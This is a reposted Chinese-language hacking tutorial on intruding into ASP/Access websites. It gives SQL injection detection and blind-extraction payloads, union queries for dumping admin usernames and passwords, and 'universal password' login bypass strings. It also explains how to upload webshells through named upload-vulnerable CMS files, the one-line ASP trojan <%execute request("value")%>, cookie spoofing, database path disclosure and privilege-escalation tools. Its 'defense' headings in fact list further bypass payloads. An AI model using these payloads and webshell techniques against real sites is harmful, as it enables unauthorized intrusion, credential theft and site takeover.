SQL注入


本文由zoujialan貢獻
一、注入點的判斷及猜解
1.加入單引號 ’提交,
結果:如果出現錯誤提示,則該網站可能就存在注入漏洞。
2.數字型判斷是否有注入;
語句:and 1=1 ;and 1=2 (經典)、' and '1'=1(字符型)
結果:分別返回不同的頁面,說明存在注入漏洞.
分析:and 的意思是“和”如果沒有過濾我們的語句,and 1=1就會被代入SQL查詢語句進行查詢,
如果and前后的兩條語句都是真的話就不會出錯,但如果前后語句有一個為假的話,程序就會暴錯。
也就表明程序有注入漏洞
防注入解決辦法:
1>使用or 2>1 ; or 1>2來進行判斷
  結果:分別返回不同的頁面,說明存在注入漏洞.
  分析:or注入只要求前后兩個語句只要有一個正確就為真,如果前后兩個語句都是正確的,反而為
假。
   記住:or注入時,or后面的語句如果是正確的,則返回錯誤頁面!如果是錯誤,則返回正確頁面
,說明存在注入點。
2> 使用xor 1=1; xor 1=2
   結果:分別返回不同的頁面,說明存在注入漏洞.
   分析:xor 代表着異或,意思即連接的表達式僅有一個為真的時候才為真。
   記住:xor注入時,xor后面的語句如果是正確的,則返回錯誤頁面積,如果是錯誤,則返回正確
頁面,說明存在注入點。
3>把and 1=1轉換成URL編碼形式后在提交
  and 1=1 URL編碼:%41%4E%44%20%%31%3D%31
4>使用-1;-0
  分析:如果返回的頁面和前面不同,是另一則新聞,則表示有注入漏洞,是數字型的注入漏洞;在 
URL地址后面加上 -0,URL變成 news.asp?id=123-0,返回的頁面和前面的
頁面相同,加上-1,返回錯誤頁面,則也表示存在注入漏洞.
3.字符型判斷是否有注入:
  語句:' and '1'=1;' and  '1=2(經典)
  結果:結果:分別返回不同的頁面,說明存在注入漏洞.
  分析:加入' and '1'=1返回正確頁面,加入' and  '1=2返回錯誤頁面,說明有注入漏同。
  防注入解決辦法:
  1>在URL的地址后面加上'%2B'(字符型)
  分析:URL地址變為:news.asp?id=123'%2B',返回的頁面和1同;加
上'2%2B'asdf,URL地址變為:news.asp?id=123'%2Basdf,返回的頁面和1
不同,或者說未發現該條記錄,或者錯誤,則表示存在注入點,是文本型的。
4.搜索型判斷是否有注入:
簡單的判斷搜索型注入漏洞存在不存在的辦法是先搜索',如果出錯,說明90%存在這個漏洞。然后搜
索%,如果正常返回,說明95%有洞了。
說明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以實現,如果出現錯誤,說明有問題
操作:
搜索一個關鍵字,比如2006吧,正常返回所有2006相關的信息,再搜索2006%'and 1=1 and '%'='和
2006%'and 1=2 and '%'=',存在異同的話,就是100%有洞了。
關鍵字%' and 1=1 and '%'='%
關鍵字%' and 1=2 and '%'='%
將and 1=1 換成注入語句就可以了
5.判斷數據庫類型:and user>0  例如:showdetail.asp?id=49 ;and user>0 
如果是ACCESS數據庫,那么返回的錯誤里一般會有"Microsoft JET Database"關鍵定,如果是MSSQL數
據庫的話返回的錯誤提示里一般會含有"SQL Server"關鍵了.
6.猜表名 and exists (select * from 表名)
  說明:意思與上面一樣,只是用的語名不一樣。
7.猜列名 and (select count(列名) from 表名)>0
  說明:如果我們輸入的列名猜解正確否反回正常頁面
8.猜長度 and (select top 1 len(username) from admin)>0
  說明:如果我們輸入的最后一位數據返回錯誤,而錯誤前一位數字返回正確,說明我所猜解的長度
為正確。
9.猜內容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii碼1-128
  說明:如果我們輸入的最后一位數據返回錯誤,而錯誤前一位數字返回正確,說明我所猜解的數字
正確。(可以使用折半法猜內容)
折半法:最小值與最大值差的一半,比如輸入50返正確,輸入100返回錯誤,折半后輸入75。
10.聯合查詢注入(union查詢)
操作步驟:
1>在正常語句后台加入 and 1=2 union select * form 表名,其中*號代表字段數量,從1一直追加
(and 1=2 union select 1,2,3,4 form 表名)如果字段數正確就會有暴錯。
2>在頁面顯示數字的地方用真實得到的字段名代替,如:username,password.
3>在頁面字段值處暴出真實的數據庫字段值。
二、查找后台地址,找到后台用得到的用戶管理員的帳戶與密碼進行登陸.
三、上傳WEBSHELL
方法主要有:
1.上傳漏洞: 如果看到:選擇你要上傳的文件 [重新上傳]或者出現“請登陸后使用”,80%就有漏洞
了! 有時上傳不一定會成功,這是因為Cookies不一樣.我們就要用WSockExpert取得Cookies.再用 
DOMAIN上傳或是桂林老兵上傳工具.
1>上傳漏洞的文件
  動網是upfile.asp。
  動易是在upfile_soft.asp,(軟件上傳漏洞)upfile_softpic.asp(圖片上傳漏洞)
  動感是在uploadflash.asp,upfile_flash.asp,利用抓包工具抓包得到cookies,再用   DOMAIN上
傳或是桂林老兵上傳工具
2>添加上傳類型
  asa|asaspp
3>就是在上傳時在后綴后面加空格或者加幾點,也許也會有驚奇的發現。例:*.asp ,*.asp..。
4>上傳圖片文件木馬,使用備份數據庫得到asp文件
2.cookies欺騙
  使用cookies可以達到讓網站認識你的目的。但是如果cookies驗證不足就會形成cookies欺騙。用  
到工具 桂林老兵cookies欺騙工具。
3.%5c暴庫
  把二級目錄中間的/換成%5c EY:otherweb ... s.asp?BigClassName=職
責范圍&;BigClassType=1 如果你能看到:’E:\ahttc040901
\otherweb\dz\database\iXuEr_Studio.asa’不是一個有效的 路徑。 確定路徑名稱拼寫是否正確,
以及是否 連接到文件存放的服務器。 這樣的就是數據庫了。下載時用FLASHGET換成.MDB格式的就行

4.conn.asp暴庫
  這個也是比較老的漏洞,利用價值不大
5.'or'='or'萬能密碼登陸
  ’or’=’or’這是一個可以連接SQL的語名句.可以直接進入后台。我收集了一下。類似的還有 : 
  ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a  
  一個很老的利用方法,主要用於一些比較老的網站。
6.旁注,也就是跨站. 我們入侵某站時可能這個站堅固的無懈可擊,我們可以找下和這個站同一服務
器的站點,然后在利 用這個站點用提權,嗅探等方法來入侵我們 要入侵的站點。,在這里有個難點
,就是一些服務器 的絕對路徑經過加密,這就看我們的本事了 
7.寫入ASP格式數據庫。就是一句話木馬[〈%execute request("value")%〉 ],常用在留言本. 如:
這個就是ASP格式的數據庫或者可以寫入內容的
ASP文件,如南方數據的系統配置],再寫 入一句話木馬.
8.旁注,也就是跨站. 我們入侵某站時可能這個站堅固的無懈可擊,我們可以找下和這個站同一服務
器的站點,然后在利 用這個站點用提權,嗅探等方法來入侵我們 要入侵的站點。,在這里有個難點
,就是一些服務器 的絕對路徑經過加密,這就看我們的本事了
四、整站利用
    動網BBS 可以先用:dvbbs權限提升工具,使自已成為前 
   台管理員。 THEN,運用:動網固頂貼工具,找個固頂貼,再取得COOKIES,這個要你自已做。我   
們可以用 WSockExpert取得Cookies/NC包 這個我就不做了,網上教程多的是,自已下個看看。     
工具:dvbbs權限提升工具 動網固頂貼工具
總結:
個人認為ACCESS網站注比不是很靈活,方法大家都知道,針對國內的網站來說大家可以到網站搜索
網站是利用什么程序改過來的,現在一般都是利用已經存在的企業網站系統來進行修改。

下一篇整理MSSQL注入方法,MSSQL注入十分的靈活,功能也特別強大.只要找到注入點,一般
情況下是可以拿下來的,


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM